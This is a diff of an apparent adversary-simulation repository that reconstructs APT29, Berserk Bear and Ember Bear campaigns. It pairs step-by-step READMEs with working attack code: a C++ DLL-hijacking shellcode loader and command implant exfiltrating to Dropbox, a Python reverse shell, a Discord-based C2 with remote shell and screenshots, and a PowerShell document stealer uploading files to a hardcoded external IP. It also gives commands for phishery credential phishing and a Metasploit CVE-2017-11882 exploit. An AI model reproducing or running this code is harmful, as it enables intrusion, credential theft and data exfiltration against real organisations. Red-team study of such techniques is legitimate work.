(shortcut) are executed they run a legitimate EXE and open a PNG file. However, behind the scenes, encrypted shellcode is read into memory and decrypted. + +4.ISO file: The ISO file contains a number of LNK files that are masquerading as images. These LNK files are used to execute the malicious payload. + +5.DLL hijacking: The EXE file loads a malicious DLL via DLL hijacking, which allows the attacker to execute arbitrary code in the context of the infected process. + +6.Shellcode injection: The decrypted shellcode is then injected into a running Windows process, giving the attacker the ability to execute code with the privileges of the infected process. + +7.Payload execution: The shellcode decrypts and loads the final payload inside the current process. + +8.Dropbox C2: This payload beacons to Dropbox and Primary/Secondary C2s based on the Microsoft Graph API. + +![Screenshot from 2024-03-11 15-43-36](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/ff510ffd-3481-4978-bedc-d30629d65307) + + + +## The first stage (delivery technique) + +First the attackers created DOCX file includes a Hyperlink that leads to downloading further HTML (HTML smuggling file) +The advantage of the hyperlink is that it does not appear in texts, and this is exactly what the attackers wanted to exploit. + + +![Screenshot from 2024-03-01 19-18-51](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/bb984b9c-5367-4fb2-9efc-3be7c098ec46) + + +HTML Smuggling used to obscure ISO file and the ISO contains a number of LNK files masquerading as images +command line to make payload base64 to then put it in the HTML smuggling file: +`base64 payload.iso -w 0` and i added a picture of the BMW car along with the text content of the phishing message in the HTML file. + +![Screenshot from 2024-03-01 19-39-42](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/8e76572b-5d72-4d87-9cf9-4c7bf002c801) + + +## The Second stage (implanting technique) + +We now need to create a PNG image that contains images of the BMW car, but in the background when the image is opened, the malware is running in the background, +at this stage i used the WinRAR program to make the image open with Command Line execution via CMD when opening the image and I used an image in icon format. + + +![20240302_194641](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/b3b7872e-1bf9-4637-a13f-ba720c113276) + +After using WinRaR for this compressed file, we will make a short cut of this file and put it in another file with the actual images then we will convert it to an ISO file through the PowerISO program. + +Note: This iso file is the one to which we will make base64 for this iso file and put in the html smuggling file before make hyperlink and place it in the docx file. + +![Screenshot from 2024-03-02 15-39-55](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/40fef200-416c-4de4-8999-f154a01b22dd) + + + +## The third stage (execution technique) + +Because i put the command line in the setup (run after extraction) menu in the Advanced SFX options for the WinRaR program now when the victim open the ISO file to see the high-quality images for the BMW car according to the phishing message he had previously received he will execute the payload with opening the actual image of the BMW car. + + + +https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/343e37ce-28e0-4a52-8a68-673bfcc68ffe + + + +## The fourth stage (Data Exfiltration) over Dropbox API C2 Channe + +The attackers used the Dropbox C2 (Command and Control) API as a means to establish a communication channel between their payload and the attacker's server. By using Dropbox as a C2 server, attackers can hide their malicious activities among the legitimate traffic to Dropbox, making it harder for security teams to detect the threat. +First, we need to create a Dropbox account and activate its permissions, as shown in the following figure. + +![Screenshot from 2024-03-12 16-10-13](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/518a643a-f8bc-455c-acdd-a6ed6fe8735a) + + +After that, we will go to the settings menu to generate the access token for the Dropbox account, and this is what we will use in Dropbox C2. + +![photo_2024-03-12_16-22-54](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/00e41c7e-b2ac-4805-b1a9-77d00671ebf8) + + +This script integrates Dropbox API functionality to facilitate communication between the compromised system and the attacker-controlled server, +thereby hiding the traffic within legitimate Dropbox communication, and take the access token as input prompts the user to enter an AES key +(which must be 16, 24, or 32 bytes long) and encrypts the token using AES encryption in ECB mode. It then base64 encodes the encrypted token and returns it. + +![171053992557140444](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/15fdca80-68cb-41ac-9eb5-b56ded6e552e) + + +I used payload written by Python only to test C2 (testing payload.py), if there were any problems with the connection (just for test connection) before writing the actual payload. + +## The fifth stage (payload with DLL hijacking) and injected Shellcode + +this payload uses the Dropbox API to upload data, including command output to Dropbox. By leveraging the Dropbox API and providing an access token the payload hides its traffic within the legitimate traffic of the Dropbox servic and If the malicious DLL fails to load, it prints a warning message but continues executing without it. + +![Screenshot from 2024-03-23 15-17-27](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/7144331f-5635-49f7-b024-5152cb06cc03) + +1.DLL Injection: The payload utilizes DLL hijacking to load a malicious DLL into the address space of a target process. + +2.Shellcode Execution: Upon successful injection, the malicious DLL executes shellcode stored within its DllMain function. + +3.Memory Allocation: The VirtualAlloc function is employed to allocate memory within the target process, where the shellcode will be injected. + +4.Shellcode Injection: The shellcode is copied into the allocated memory region using memcpy, effectively injecting it into the process. + +5.Privilege Escalation: If the compromised process runs with elevated privileges, the injected shellcode inherits those privileges, allowing the attacker to perform privileged operations. + +![Screenshot from 2024-03-23 15-16-20](https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/29858785-5fc5-446c-a1d0-d0b1bb1e58d7) + + +## Final result: payload connect to Dropbox C2 server + +the final step in this process involves the execution of the final payload. After being decrypted and loaded into the current process, +the final payload is designed to beacon out to both Dropbox API-based C2 server. + +https://github.com/S3N4T0R-0X0/APT29-Adversary-Simulation/assets/121706460/c5b7b826-72a1-459e-9f19-6e34bd79aeab + diff --git a/Russian APT/APT29-Adversary-Simulation/c2_payload.cpp b/Russian APT/APT29-Adversary-Simulation/c2_payload.cpp new file mode 100644 index 0000000..2f17506 --- /dev/null +++ b/Russian APT/APT29-Adversary-Simulation/c2_payload.cpp @@ -0,0 +1,177 @@ +//this payload uses the Dropbox API to upload data, including command output to Dropbox. By leveraging the Dropbox API and providing an access token the payload hides its traffic within the legitimate traffic of the Dropbox servic and If the malicious DLL fails to load, it prints a warning message but continues executing without it. + +//Disclaimer: this payload for research & simulation, i am not responsible if anyone uses this payload for illegal purposes + +// Author: S3N4T0R +// Date: 2024-3-22 + +//manual compile: i686-w64-mingw32-g++ c2_payload.cpp -o windoc.exe -lws2_32 -static-libgcc -static-libstdc++ +//execution command: ./c2_payload.exe server_ip port + +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +#define ACCESS_TOKEN "put Your dropbox access token here" +#define DLL_NAME "malicious.dll" + +// function to execute commands and return the output +std::string execute_command(const char* command) { + char buffer[4096]; + std::string output = ""; + + FILE* pipe = _popen(command, "r"); + if (!pipe) return "Error: failed to execute command\n"; + + while (!feof(pipe)) { + if (fgets(buffer, 4096, pipe) != NULL) + output += buffer; + } + + _pclose(pipe); + return output; +} + +// function to send data to Dropbox using Dropbox API +bool send_to_dropbox(const std::string& data) { + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) { + std::cerr << "Error: failed to create socket\n"; + return false; + } + + sockaddr_in server; + server.sin_family = AF_INET; + server.sin_port = htons(443); + server.sin_addr.s_addr = inet_addr("162.125.5.14"); + + if (connect(sock, (SOCKADDR *)&server, sizeof(server)) == SOCKET_ERROR) { + std::cerr << "Error: connection failed\n"; + closesocket(sock); + return false; + } + + std::string request = "POST /2/files/upload HTTP/1.1\r\n"; + request += "Host: content.dropboxapi.com\r\n"; + request += "Content-Type: application/octet-stream\r\n"; + request += "Authorization: Bearer " + std::string(ACCESS_TOKEN) + "\r\n"; + request += "Dropbox-API-Arg: {\"path\": \"/payload.txt\"}\r\n"; + request += "Content-Length: " + std::to_string(data.size()) + "\r\n\r\n"; + request += data; + + send(sock, request.c_str(), request.size(), 0); + + closesocket(sock); + return true; +} + +// DllMain function for the malicious DLL +BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { + switch (ul_reason_for_call) { + case DLL_PROCESS_ATTACH: { + // shellcode to be injected + unsigned char shellcode[] = { + // your shellcode goes here + }; + + // function pointers for WinAPI functions + typedef LPVOID(WINAPI *VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + typedef BOOL(WINAPI *VirtualFree_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); + + VirtualAlloc_t virtualAlloc = (VirtualAlloc_t)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc"); + VirtualFree_t virtualFree = (VirtualFree_t)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualFree"); + + if (virtualAlloc != NULL && virtualFree != NULL) { + LPVOID pAlloc = virtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pAlloc != NULL) { + // copy shellcode into allocated memory + memcpy(pAlloc, shellcode, sizeof(shellcode)); + + // execute the shellcode + ((void(*)())pAlloc)(); + + // free the allocated memory + virtualFree(pAlloc, sizeof(shellcode), MEM_RELEASE); + } + } + + break; + } + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + default: + break; + } + return TRUE; +} + +int main(int argc, char *argv[]) { + if (argc != 3) { + std::cerr << "Usage: " << argv[0] << " \n"; + return 1; + } + + WSADATA wsData; + if (WSAStartup(MAKEWORD(2, 2), &wsData) != 0) { + std::cerr << "Error: failed to initialize Winsock\n"; + return 1; + } + + std::cout << "Connected to Dropbox\n"; + + // load the malicious DLL via DLL hijacking + HMODULE hModule = LoadLibraryA(DLL_NAME); + if (hModule == NULL) { + std::cerr << "Warning: failed to load malicious DLL. continuing without it.\n"; + } + + while (true) { + SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == INVALID_SOCKET) { + std::cerr << "Error: failed to create socket\n"; + WSACleanup(); + return 1; + } + + sockaddr_in server; + server.sin_family = AF_INET; + server.sin_port = htons(std::stoi(argv[2])); + server.sin_addr.s_addr = inet_addr(argv[1]); + + if (connect(sock, (SOCKADDR *)&server, sizeof(server)) == SOCKET_ERROR) { + std::cerr << "Error: Connection failed\n"; + closesocket(sock); + continue; + } + + std::cout << "connected to Dropbox C2 server\n"; + + char command[1024] = {0}; + int bytes_received = recv(sock, command, sizeof(command), 0); + if (bytes_received <= 0) { + std::cerr << "Error: failed to receive command\n"; + closesocket(sock); + continue; + } + + + std::cout << "Received command: " << command << std::endl; + std::string output = execute_command(command); + + // send command output to dropbox + send_to_dropbox(output); + + closesocket(sock); + } + + WSACleanup(); + return 0; +} + diff --git a/Russian APT/APT29-Adversary-Simulation/car.ico b/Russian APT/APT29-Adversary-Simulation/car.ico new file mode 100644 index 0000000..5fd374b Binary files /dev/null and b/Russian APT/APT29-Adversary-Simulation/car.ico differ diff --git a/Russian APT/APT29-Adversary-Simulation/car.png b/Russian APT/APT29-Adversary-Simulation/car.png new file mode 100644 index 0000000..cc6b663 Binary files /dev/null and b/Russian APT/APT29-Adversary-Simulation/car.png differ diff --git a/Russian APT/APT29-Adversary-Simulation/requirements.txt b/Russian APT/APT29-Adversary-Simulation/requirements.txt new file mode 100644 index 0000000..00dab2c --- /dev/null +++ b/Russian APT/APT29-Adversary-Simulation/requirements.txt @@ -0,0 +1,5 @@ +pyautogui +pyvirtualdisplay +requests +pycryptodome + diff --git a/Russian APT/APT29-Adversary-Simulation/testing payload.py b/Russian APT/APT29-Adversary-Simulation/testing payload.py new file mode 100644 index 0000000..5a43943 --- /dev/null +++ b/Russian APT/APT29-Adversary-Simulation/testing payload.py @@ -0,0 +1,30 @@ +# compile: pyinstaller --onefile testing payload.py + +import socket +import subprocess + +ip = "192.168.1.1" +port = 4444 + + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((ip, port)) + + +while True: + + command = s.recv(1024).decode() + + + if command.lower() == "exit": + break + + + try: + output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) + s.sendall(output) + except Exception as e: + s.sendall(str(e).encode()) + + +s.close() diff --git a/Russian APT/Berserk-Bear-APT/CV.docx b/Russian APT/Berserk-Bear-APT/CV.docx new file mode 100644 index 0000000..11e6dd9 Binary files /dev/null and b/Russian APT/Berserk-Bear-APT/CV.docx differ diff --git a/Russian APT/Berserk-Bear-APT/README.md b/Russian APT/Berserk-Bear-APT/README.md new file mode 100644 index 0000000..cf9848f --- /dev/null +++ b/Russian APT/Berserk-Bear-APT/README.md @@ -0,0 +1,64 @@ +# Berserk Bear APT Adversary Simulation +This is a simulation of attack by (Berserk Bear) APT group targeting critical infrastructure and energy companies around the world, primarily in Europe and the United States, The attack campaign was active from least May 2017. This attack target both the critical infrastructure providers and the vendors those providers use to deliver critical services, the attack chain starts with malicious (XML container) Injected into DOCX file connected to external server over (SMB) used to silently harvest users credentials and was used in spear-phishing attack. I relied on ‏Cisco Talos Intelligence Group‏ tofigure out the details to make this simulation: https://blog.talosintelligence.com/template-injection/ + +![imageedit_2_8052388982](https://github.com/S3N4T0R-0X0/Berserk-Bear-APT/assets/121706460/3d592743-ea32-4f8e-9739-1d0696c1bfd2) + + +If you need to know more about Berserk Bear APT group attacks: https://apt.etda.or.th/cgi-bin/showcard.cgi?g=Berserk%20Bear%2C%20Dragonfly%202%2E0&n=1 + +This attack included several stages including Injecting a DOCX file and using a malicious XML container that creates a specific alert to obtain credentials and is transferred to the attackers’ server, which in turn is used by them to obtain data for the organizations that were targeted by the spear-phishing attack. The DOCX file was a CV that was Presented to a person with ten years of experience in software development and SCADA control systems. + +1. Create CV DOCX file which will be injected and sent spear phishing. + +2. Make injections into DOCX file to obtain credentials using the phishery tool. + +3. Credential Phishing is when the target opens the target Word file and enters credentials into the notification that will be shown to them. + + + +## The first stage (delivery technique) + +Since the attackers here wanted to target institutions related to energy and energy management systems such as SCADA, the attackers created a DOCX file in the form of a CV to apply for a job. It seems that there was a hiring open to work for such a position, and the attackers sent the CV that contained the malicious XML container, here i created a CV identical to the one they used in the actual attack. + +![Screenshot from 2024-05-18 19-21-05](https://github.com/S3N4T0R-0X0/Berserk-Bear-APT/assets/121706460/b0e13bdf-1816-41a9-99d8-4fc31d751aeb) + + + + +## The Second stage (implanting technique) + +According to what Cisco Talos Intelligence Group said the attackers worked to inject the DOCX file via a phishery tool, this is because at the time of this attack it was a tool that had not been released for a long time and this is the point where the attackers took advantage of it the most and it is also possible that they made some modifications before using it in this attack. + + + +![Screenshot from 2024-05-21 08-11-09](https://github.com/S3N4T0R-0X0/Berserk-Bear-APT/assets/121706460/b0bcf631-779b-44d4-899b-b37646a0427f) + + + +Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. Phishery also provides the ability easily to inject the URL into a .docx Word document. + +Github repository: https://github.com/ryhanson/phishery.git + + +![photo_2024-05-28_08-22-20](https://github.com/S3N4T0R-0X0/Berserk-Bear-APT/assets/121706460/847f8fea-3076-49bb-9703-0375f24e085b) + + +`sudo apt-get install phishery` + +`phishery -u https://192.168.138.138 -i CV.docx -o malicious.docx` + +`phishery` + +Now the malicious CV will be sent to the target and wait for the Credentials. + +## The third stage (execution technique) + +Credential Phishing is when the target opens the target Word file and enters credentials into the notification that will be shown to them. + + +https://github.com/S3N4T0R-0X0/Berserk-Bear-APT/assets/121706460/ac654ad4-45d8-4bea-a0cb-a3a0fc7e567d + + + + + diff --git a/Russian APT/Ember-Bear-APT/Discord-C2.py b/Russian APT/Ember-Bear-APT/Discord-C2.py new file mode 100644 index 0000000..954eeb1 --- /dev/null +++ b/Russian APT/Ember-Bear-APT/Discord-C2.py @@ -0,0 +1,207 @@ +# This script integrates Discord API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Discord communication. + +# This C2 is for simulation only and is still under development +# pip install -r requirements.txt +# python3 Discord-C2.py +# Author: S3N4T0R +# Date: 2024-7-2 + +# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences. + +# This script checks if the Discord bot token and channel ID are provided. If they are, it starts the Discord bot functionalities; otherwise, it proceeds with just the IP and port. This way, the script can continue the connection without the Discord details if they are not entered. + +# Importing necessary libraries +import subprocess +import time +import socket +import secrets +import os +import pyautogui +from pyvirtualdisplay import Display +import requests +from Crypto.Cipher import ChaCha20 +import discord +from discord.ext import commands + + +ASCII_BANNER = '''\033[95m + ⣼⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣶⣦ + ⣵⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶ + ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⣿⣿⣿⠛⠩⡐⢄⠢⠙⢋⠍⣉⠛⡙⡀⢆⡈⠍⠛⣿⣿⣿⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⣿⣿⠃⠌⡡⠐⢂⠡⠉⡄⠊⢄⢂⠡⠐⠂⢌⠘⡰⠘⣿⣿⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⣿⠃⠌⠒⢠⠑⡨⠄⠃⠤⠉⢄⠢⠌⢡⠉⢄⢂⠡⠒⠸⣿⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⡏⠤⢉⠰⢁⢢⣶⣾⣧⢂⠩⡀⠆⣼⣶⣮⣄⠂⡂⠍⣂⢹⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⠁⢆⠨⢐⠂⣿⣿⣿⣿⠇⢂⠱⢸⣿⣿⣿⡿⢀⠂⠅⢢⠘⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⠌⢠⠂⢡⠊⠌⠛⠟⡋⢌⠂⢅⢂⡙⠿⠛⣁⢂⠉⡄⠃⡌⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⡨⠄⡘⠄⠎⣔⣉⡐⠌⡐⣈⠂⠆⡐⢂⣡⣤⢂⠡⡐⢡⢐⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⣿⣶⣥⣘⡐⠨⣽⣿⣿⣷⣶⣾⣾⣿⣿⣯⢁⠢⣐⣤⣷⣿⣿⣿⣿⣿⣿ + ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ + ⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿ + ⠛⠿⢿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⢿⠿⠟⠋ +\033[0m''' + +# Function to generate a random key for ChaCha20 encryption +def generate_random_key(length): + return secrets.token_bytes(length) + +# Function to encrypt access token using ChaCha20 +def encrypt_access_token(token, key_length): + key = generate_random_key(key_length) + cipher = ChaCha20.new(key=key) + encrypted_token = cipher.encrypt(token.encode()) + nonce = cipher.nonce + return nonce + encrypted_token + +# Function to start ngrok tunnel +def start_ngrok(port): + try: + ngrok_process = subprocess.Popen(['ngrok', 'tcp', str(port)]) + time.sleep(3) # Give ngrok some time to start + return ngrok_process + except Exception as e: + print(f"Error starting ngrok: {e}") + return None + +# Function to establish reverse shell connection +def establish_reverse_shell(ip, port): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((ip, int(port))) + s.listen(1) + print(f"[!] Waiting for incoming connection on {ip}:{port}...") + client_socket, addr = s.accept() + return client_socket, s + except Exception as e: + print(f"Error establishing reverse shell: {e}") + return None, None + +# Function to start display for screenshot functionality +def start_display(): + try: + display = Display(visible=0, size=(800, 600)) + display.start() + return display + except Exception as e: + print(f"Error starting virtual display: {e}") + return None + +# Function to handle Discord bot functionalities +def start_discord_bot(token, channel_id): + try: + bot = commands.Bot(command_prefix="!") + + @bot.event + async def on_ready(): + print("[*] Bot is ready and connected to Discord!") + channel = bot.get_channel(int(channel_id)) + await channel.send("C2 Bot is now online.") + + @bot.command() + async def shell(ctx, *, command): + result = subprocess.run(command, shell=True, capture_output=True, text=True) + stdout = result.stdout + stderr = result.stderr + + if stdout: + await ctx.send(f"Output:\n```{stdout}```") + if stderr: + await ctx.send(f"Error:\n```{stderr}```") + + @bot.command() + async def screen(ctx): + try: + screen = pyautogui.screenshot() + screen.save("screenshot.png") + await ctx.send(file=discord.File("screenshot.png")) + os.remove("screenshot.png") + except Exception as e: + await ctx.send(f"Error capturing screenshot: {e}") + + bot.run(token) + except Exception as e: + print(f"Error starting Discord bot: {e}") + +# Main function to run the entire script +def main(): + try: + print(ASCII_BANNER) + print("") + + # Input values + token = input("[+] Enter your Discord bot token (press Enter to skip): ").strip() + channel_id = input("[+] Enter your Discord channel ID (press Enter to skip): ").strip() + ip = input("[+] Enter the IP for the reverse shell: ").strip() + port = input("[+] Enter the port number for the reverse shell and ngrok: ").strip() + + # Validate port number + if not port.isdigit(): + print("Invalid port number. Exiting.") + return + + port = int(port) + + # Encrypt token if provided + encrypted_token = None + if token and channel_id: + print("[*] Encrypting Discord token...") + key_length = 32 # ChaCha20 key length in bytes + encrypted_token = encrypt_access_token(token, key_length) + if not encrypted_token: + print("Error encrypting token. Exiting.") + return + + # Start ngrok tunnel + print("[*] Starting ngrok tunnel...") + ngrok_process = start_ngrok(port) + if not ngrok_process: + print("Error starting ngrok. Exiting.") + return + + # Start reverse shell + client_socket, server_socket = establish_reverse_shell(ip, port) + if not client_socket: + print("Error establishing reverse shell. Exiting.") + return + + # Start display for screenshot functionality + display = start_display() + if not display: + print("Error starting virtual display. Exiting.") + return + + # Start Discord bot if token and channel ID are provided + if token and channel_id: + print("[*] Starting Discord bot functionalities...") + start_discord_bot(encrypted_token, channel_id) + else: + print("[*] Discord token or channel ID not provided. Running without Discord bot functionalities.") + + # Receive and send commands + while True: + try: + command = input("Enter a command to execute (or type 'exit' to quit): ").strip() + if command.lower() == "exit": + break + client_socket.send(command.encode()) + response = client_socket.recv(1024).decode() + print(response) + except KeyboardInterrupt: + break + + # Clean up + if client_socket: + client_socket.close() + if server_socket: + server_socket.close() + if ngrok_process: + ngrok_process.kill() + if display: + display.stop() + print("[*] Exiting.") + + except Exception as e: + print(f"Error in main function: {e}") + +if __name__ == "__main__": + main() diff --git a/Russian APT/Ember-Bear-APT/Doc1.docx b/Russian APT/Ember-Bear-APT/Doc1.docx new file mode 100644 index 0000000..ac18f3f Binary files /dev/null and b/Russian APT/Ember-Bear-APT/Doc1.docx differ diff --git a/Russian APT/Ember-Bear-APT/OutSteel.ps1 b/Russian APT/Ember-Bear-APT/OutSteel.ps1 new file mode 100644 index 0000000..309eef5 --- /dev/null +++ b/Russian APT/Ember-Bear-APT/OutSteel.ps1 @@ -0,0 +1,35 @@ +$url_dwn1 = "http://eumr.site/load74h74838.exe" +$url = "http://185.244.41.109:8080/upld/" +$dsks = Get-WmiObject Win32_LogicalDisk -Filter "DriveType=3" +$reme = 0 + +# Identify Home Drive and set $reme to its index +$homeDrive = [System.Environment]::GetEnvironmentVariable("HOMEDRIVE") +foreach ($dsk in $dsks) { + if ($dsk.DeviceID -eq $homeDrive) { + $reme = $dsk + break + } +} + +# Get Serial Number of Home Drive +$suuid = (Get-Volume -DriveLetter $reme.DeviceID[0]).ObjectId.Guid + +# Define file types to search for +$fileTypes = @("*.doc", "*.docx", "*.pdf", "*.ppt", "*.pptx", "*.dot", "*.xls", "*.xlsx", "*.csv", "*.rtf", "*.mdb", "*.accdb", "*.pot", "*.pps", "*.pst", "*.ppa", "*.rar", "*.zip", "*.tar", "*.7z", "*.txt") + +# Search and Upload Files +foreach ($dsk in $dsks) { + $driveLetter = $dsk.DeviceID + foreach ($fileType in $fileTypes) { + $files = Get-ChildItem -Path "$driveLetter\" -Recurse -Filter $fileType -ErrorAction SilentlyContinue + foreach ($file in $files) { + $fileName = $file.FullName + $fileNameHex = [BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($fileName)) -replace '-', '' + $uri = "$url$suuid" + $content = [IO.File]::ReadAllBytes($file.FullName) + Invoke-RestMethod -Uri $uri -Method Post -InFile $fileName -Headers @{"File-Name" = $fileNameHex} + } + } +} + diff --git a/Russian APT/Ember-Bear-APT/README.md b/Russian APT/Ember-Bear-APT/README.md new file mode 100644 index 0000000..e028a25 --- /dev/null +++ b/Russian APT/Ember-Bear-APT/README.md @@ -0,0 +1,125 @@ +# Ember Bear APT Adversary Simulation + +This is a simulation of attack by (Ember Bear) APT group targeting energy Organizations in Ukraine the attack campaign was active on April 2021, The attack chain starts wit spear phishing email sent to an employee of the organization, which used a social engineering theme that suggested the individual had committed a crime. The email had a Word document attached that contained a malicious JavaScript file that would download and install a payload known as SaintBot (a downloader) and OutSteel (a document stealer). +The OutSteel tool is a simple document stealer. It searches for potentially sensitive documents based on their file type and uploads the files to a remote server. The use of OutSteel may suggest that this threat group’s primary goals involve data collection on government organizations and companies involved with critical infrastructure. The SaintBot tool is a downloader that allows the threat actors to download and run additional tools on the infected system. SaintBot provides the actors persistent access to the system while granting the ability to further their capabilities. I relied on palo alto to figure out the details to make this simulation: https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/ + +![imageedit_2_8449936728](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/755eabf4-c79a-4910-bddf-9a0c945c5141) + +This attack included several stages including links to Zip archives that contain malicious shortcuts (LNK) within the spear phishing emails, as well as attachments in the form of PDF documents, Word documents, JavaScript files and Control Panel File (CPL) executables. Even the Word documents attached to emails have used a variety of techniques, including malicious macros, embedded JavaScript and the exploitation of CVE-2017-11882 to install payloads onto the system. With the exception of the CPL executables, most of the delivery mechanisms rely on PowerShell scripts to download and execute code from remote servers. + +1. Create the Word Document: Write a Word document (.docx) containing the exploitation of CVE-2017-11882 to install payloads onto the system. + +2. CVE-2017-11882: this exploit allow an attacker to run arbitrary code in the context of the current user by failing to properly handle objects in memory. + +3. Data exfiltration: over Discord API C2 Channe, This integrates Discord API functionality to facilitate communication between the compromised system and the attacker-controlled server thereby potentially hiding the traffic within legitimate Discord communication. + +4. SaintBot: is a payload loader, It contains capabilities to download further payloads as requested by attackers. + +5. The attackers used .BAT file to disable Windows Defender functionality, It accomplishes this by executing multiple commands via CMD that modify registry keys and disabling Windows Defender scheduled tasks. + +6. OutSteel: is a file uploader and document stealer developed with the scripting language. + + +Some examples of the PDF and docx files that was used in this attack. + +![imageedit_3_9227726456](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/4a8bf68d-d249-457b-b046-ebc8cfcf3b9b) + + +## The first stage (delivery technique) + +In the beginning, I will create a Word file that I will use to injections for a vulnerability that attackers used in the actual attack to install payloads on the system. + +April 2021: Bitcoin-themed spear phishing emails targeting Ukrainian government organizations. + +![Screenshot from 2024-06-26 07-39-00](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/b360e79a-194d-4ff1-89c9-5f4169a0b2e4) + + +## The second stage (exploit Microsoft Office Memory Corruption Vulnerability CVE-2017-11882) + +Second the attackers exploited the Zero-day vulnerability (CVE-2017-11882) is a vulnerability in Microsoft Office, specifically affecting Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016. This vulnerability is classified as a memory corruption issue that occurs due to improper handling of objects in memory. + +Exploitation repository: https://github.com/0x09AL/CVE-2017-11882-metasploit?tab=readme-ov-file + +This vulnerability allow an attacker to run arbitrary code in the context of the current user by failing to properly handle objects in memory, I then placed a Word file in the +phishing email, including links to Zip files containing malicious shortcuts (LNK). + + + +![Screenshot from 2024-06-26 07-28-07](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/d1b43f2a-6816-44fb-ba5e-f407da4b0152) + + + +`sudo cp cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat` + +`sudo updatedb` + +`msf6 > use exploit/windows/fileformat/office_ms17_11882` + + +## The third stage (Data Exfiltration) over Discord API C2 Channe + +The attackers used the Discord C2 (Command and Control) API as a means to establish a communication channel between their payload and the attacker's server. By using Discord as a C2 server, attackers can hide their malicious activities among the legitimate traffic to Discord, making it harder for security teams to detect the threat. + + +![Screenshot from 2024-06-25 14-43-39](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/bace255e-fb00-447a-81a9-91dea91f01df) + + +First, i need to create a Discord account and activate its permissions, as shown in the following figure. + + +1. Create Discord Application. + +image-20231221113019757 + +2. Configure Discord Application. + + +image-20231221113340790 + + +3. Go to "Bot", find "Privileged Gateway Intents", turn on all three "Intents", and save. + + +image-20231221113617087 + + + + +This script integrates Discord API functionality to facilitate communication between the compromised system and the attacker-controlled server, thereby potentially hiding the traffic within legitimate Discord communication and checks if the Discord bot token and channel ID are provided. If they are, it starts the Discord bot functionalities; otherwise, it proceeds with just the IP and port. This way, the script can continue the connection without the Discord details if they are not entered. + +![photo_2024-07-02_11-38-29](https://github.com/S3N4T0R-0X0/Ember-Bear-APT/assets/121706460/6fb172b1-a864-470c-9535-d899dba65d5b) + +## The fourth stage (SaintBot payload Loader) + +SaintBot is a recently discovered malware loader, documented in April 2021 by MalwareBytes. It contains capabilities to download further payloads as requested by threat actors, executing the payloads through several different means, such as injecting into a spawned process or loading into local memory. It can also update itself on disk – and remove any traces of its existence – as and when needed. SHA-256: e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c + +1.Locale Check: The IsSupportedLocale function checks if the system's locale matches specific locales. + 